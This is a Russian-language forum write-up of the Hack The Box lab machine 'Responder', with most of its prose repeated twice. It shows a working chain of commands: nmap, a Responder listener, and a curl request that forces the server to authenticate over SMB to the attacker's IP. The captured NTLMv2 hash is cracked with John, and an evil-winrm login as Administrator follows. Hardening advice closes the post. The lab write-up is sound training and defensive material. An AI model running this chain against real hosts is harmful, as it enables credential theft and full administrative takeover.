Автор темы
Responder это машина HTB. Разбор показывает, как LFI на Windows через UNC-путь превращается в кражу NTLM-хеша и далее в доступ администратора без отдельного этапа повышения привилегий.
Цепочка атаки
LFI -> UNC-путь -> перехват NTLM-хеша (Responder) -> offline-крак (John) -> доступ по WinRM
Recon
Полный скан портов.
Результат, два открытых порта.
Порт 80 веб-приложение, точка входа. Порт 5985 WinRM, вероятный канал доступа после получения учетных данных.
Обращение по IP редиректит на http://unika.htb. Используется name-based virtual hosting, контент отдается только при корректном заголовке Host. Добавляем запись в /etc/hosts.
На сайте переключение языка идет через параметр index.php?page=french.html. Одна точка входа index.php подключает шаблоны через include() по значению параметра page. Значение не фильтруется, это LFI.
Уязвимость
Параметр page подставляется в include() без whitelist и без фильтрации path traversal. На Windows это опаснее, чем чтение файлов, из-за обработки UNC-путей.
UNC путь адресует сетевые ресурсы по SMB. При резолвинге такого пути Windows автоматически инициирует SMB подключение к указанному хосту и в рамках Single SignOn отправляет NTLM-аутентификацию учетной записи, под которой работает процесс.
Если передать в page значение //НАШ_IP/что-угодно, PHP передаст его в include(), Windows интерпретирует как UNC-путь и отправит на наш хост NTLM challenge/response аккаунта, от имени которого запущен Apache. Это свойство ОС, а не баг PHP. LFI здесь только триггер.
Дополнительная проблема. Веб-сервер запущен от имени Administrator, что нарушает принцип наименьших привилегий и повышает итоговый impact.
Эксплуатация
1. Запуск слушателя на атакующей машине.
Интерфейс tun0 - VPN-туннель к лабе, входящий SMB приходит на него.
2. Триггер LFI через UNC-путь.
10.10.15.51 IP атакующей машины в туннеле (ip a | grep tun0).
3. Перехват хеша в логе Responder.
Хеш принадлежит Administrator, что подтверждает запуск веб-сервера с правами администратора.
4. крак NTLMv2 по словарю.
Пароль восстанавливается мгновенно, это словарное значение из rockyou.txt.
5. Доступ по WinRM.
Получен PowerShell с правами Administrator .
Рекомендации
Выводы
Цепочка атаки
LFI -> UNC-путь -> перехват NTLM-хеша (Responder) -> offline-крак (John) -> доступ по WinRM
Recon
Полный скан портов.
Код:
sudo nmap -sC -sV -A -p- 10.129.48.93
Результат, два открытых порта.
Код:
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
Порт 80 веб-приложение, точка входа. Порт 5985 WinRM, вероятный канал доступа после получения учетных данных.
Обращение по IP редиректит на http://unika.htb. Используется name-based virtual hosting, контент отдается только при корректном заголовке Host. Добавляем запись в /etc/hosts.
На сайте переключение языка идет через параметр index.php?page=french.html. Одна точка входа index.php подключает шаблоны через include() по значению параметра page. Значение не фильтруется, это LFI.
Уязвимость
Параметр page подставляется в include() без whitelist и без фильтрации path traversal. На Windows это опаснее, чем чтение файлов, из-за обработки UNC-путей.
UNC путь адресует сетевые ресурсы по SMB. При резолвинге такого пути Windows автоматически инициирует SMB подключение к указанному хосту и в рамках Single SignOn отправляет NTLM-аутентификацию учетной записи, под которой работает процесс.
Если передать в page значение //НАШ_IP/что-угодно, PHP передаст его в include(), Windows интерпретирует как UNC-путь и отправит на наш хост NTLM challenge/response аккаунта, от имени которого запущен Apache. Это свойство ОС, а не баг PHP. LFI здесь только триггер.
Дополнительная проблема. Веб-сервер запущен от имени Administrator, что нарушает принцип наименьших привилегий и повышает итоговый impact.
Эксплуатация
1. Запуск слушателя на атакующей машине.
Код:
sudo responder -I tun0
Интерфейс tun0 - VPN-туннель к лабе, входящий SMB приходит на него.
2. Триггер LFI через UNC-путь.
Код:
curl "http://unika.htb/index.php?page=//10.10.15.51/test"
10.10.15.51 IP атакующей машины в туннеле (ip a | grep tun0).
3. Перехват хеша в логе Responder.
Код:
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:...
Хеш принадлежит Administrator, что подтверждает запуск веб-сервера с правами администратора.
4. крак NTLMv2 по словарю.
Код:
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Пароль восстанавливается мгновенно, это словарное значение из rockyou.txt.
5. Доступ по WinRM.
Код:
evil-winrm -i 10.129.48.93 -u Administrator -p '<восстановленный_пароль>'
Получен PowerShell с правами Administrator .
Рекомендации
- Не передавать пользовательский ввод в include() и require() напрямую, использовать whitelist допустимых значений page.
- Нормализовать ввод, отклонять ../, // и \\ до файловых операций.
- Запускать веб-сервер под выделенной непривилегированной учетной записью, а не под Administrator.
- Ограничить исходящий SMB (445/tcp) с серверов приложений.
- Применять стойкие несловарные пароли и MFA для привилегированных учетных записей.
Выводы
- LFI на Windows не ограничивается чтением файлов. Через UNC-путь это вектор кражи учетных данных, так как ОС сама инициирует SMB-аутентификацию.
- Responder не взламывает NTLM, а принимает учетные данные, которые жертва отправляет автоматически. Это класс атак credential capture и relay.
- Итоговый impact уязвимости определяется привилегиями учетной записи сервиса.
- Read-only уязвимость в сочетании с сетевым мисконфигом по результату эквивалентна RCE с правами администратора.